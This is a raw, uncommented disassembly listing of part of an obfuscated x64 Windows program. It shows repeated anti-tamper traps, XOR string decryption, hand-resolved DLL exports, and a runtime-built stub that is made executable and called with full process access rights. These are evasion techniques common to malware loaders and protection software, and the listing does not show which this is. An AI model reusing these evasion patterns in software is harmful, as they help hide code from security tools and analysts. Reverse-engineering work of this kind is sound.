mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030784
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030764
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030764
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030784
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030841
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030821
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030821
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030841
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
call fcn.14009a6b0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14003c958
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x14003090b
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400308eb
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400308eb
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003090b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
mov r8d, 0x145cd41f
mov r9d, 0x49cd3990
cmp rax, r15
jne 0x1400309d0
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400309b0
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400309b0
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400309d0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030a89
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030a69
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030a69
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030a89
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030b33
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030b13
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030b13
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030b33
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030bec
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030bcc
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030bcc
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030bec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030c9d
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030c7d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030c7d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030c9d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030d56
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030d36
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030d36
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030d56
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14003bef0
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030e28
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030e08
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030e08
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030e28
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140031125
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030ef1
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x14f86770
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400311dd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400311dd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400311dd
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14002bf04
mov r15d, eax
mov rcx, qword gs:[0x50]
mov eax, 0xa892da90
movabs r8, 0xf02c856a42fbcf00
cmp rcx, rax
jne 0x140030fac
mov rcx, qword gs:[0x10]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x10]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x10]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x1400311fd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x1400311fd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x1400311fd
test r15d, r15d
jne 0x14003125d
mov rax, qword gs:[0x50]
mov r15d, 0xa892da90
cmp rax, r15
jne 0x140031051
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14003121d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14003121d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14003121d
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140031105
mov rax, qword gs:[0x10]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x10]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x10]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14003123d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14003123d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14003123d
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140030e46
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x14003adf4
mov rax, qword gs:[0x10]
movabs rcx, 0xf02c856a42fbcf00
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400311bd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400311bd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003adf4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400a1678
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x3d0a0c8d
mov dword [rbp + 0x214], 0xb72fbc31
mov dword [rbp + 0x218], 0xdac44701
mov word [rbp + 0x21c], 0x83
mov r8, r14
movabs rbx, 0x8080808080808081
mov esi, 0xf2601420
movabs r9, 0xc4ee105ad
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x189dc20b5a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x1400312fb
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xdfc0268b
mov dword [rbp + 0x84], 0xab5d6aab
mov word [rbp + 0x88], 4
mov r8, r14
movabs r9, 0x88560b529
mov r10d, 9
movabs r11, 0x110ac16a52
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x140031399
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140031622
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140031622
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140031622
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140031622
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140031622
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140031494
inc rax
test edi, edi
jne 0x14003147f
test r8d, r8d
je 0x1400314a6
inc rdx
cmp rdx, rsi
jb 0x14003146e
jmp 0x140031622
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140031622
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14003161f
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14009a6b0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14003c958
lea rcx, [rbp + 0x7420]
call fcn.14003bef0
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14003bef0
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140031534
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400c4130
mov dword [0x140123644], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140123640]
movsd qword [rdi], xmm0
movzx eax, word [0x140123648]
mov word [rdi + 8], ax
mov al, byte [0x14012364a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c47d0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140123644], r14d
test edi, edi
js 0x140031635
jmp 0x140031622
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14003164b
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14002b9d4
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x50]
ja 0x14003aa62
mov esi, 0xa892da90
mov r15d, 0x14f86770
cmp rax, rsi
jne 0x140031721
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031701
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031701
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031721
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x1401030c0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x140103100]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x77498d2
mov word [rbp + 0xbc4], 0x86f1
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
mov esi, 0xf2601420
movabs r9, 0x23fa42fce6
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x47f485f9cc
cmp r9, rax
jb 0x14003177c
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14001af4c
mov rax, qword gs:[0x50]
mov esi, 0xa892da90
mov ebx, 0x109b63cf
cmp rax, rsi
jne 0x1400318aa
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003188a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003188a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400318aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a1678
int3
call fcn.14002bc34
mov rcx, qword gs:[0x50]
test al, al
jne 0x140031c47
cmp rcx, rsi
jne 0x140031974
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031954
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031954
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031974
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xee
mov r10, r14
movabs r8, 0x1018615631
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2030c2ac62
movabs r15, 0x8080808080808081
mov r13d, 0xf2601420
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3e0]
xor dil, r10b
mov byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400319ba
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x140102ff0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x140102f90]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
movabs rbx, 0x3ab344dffe
mov r9d, Ordinal_33
movabs r10, 0x1d59a26fff
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, rbx
jb 0x140031a63
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x50]
cmp rax, rsi
mov ebx, 0x109b63cf
jne 0x140031b99
mov rax, qword gs:[0x10]
movabs rcx, 0xf02c856a42fbcf00
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031b79
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031b79
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031b99
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, rsi
jne 0x14003b3e3
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031c27
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031c27
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b3e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
cmp rcx, rsi
jne 0x140031ce8
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031cc8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031cc8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031ce8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x1401032f0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x8080808080808081
mov esi, 0xf2601420
movabs r9, 0xf26014210
lea r10d, [rax + 0x10]
movabs r11, 0x1e4c028420
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x140031d2a
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14002ba24
mov rax, qword gs:[0x50]
mov esi, 0xa892da90
cmp rax, rsi
jne 0x140031e5c
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
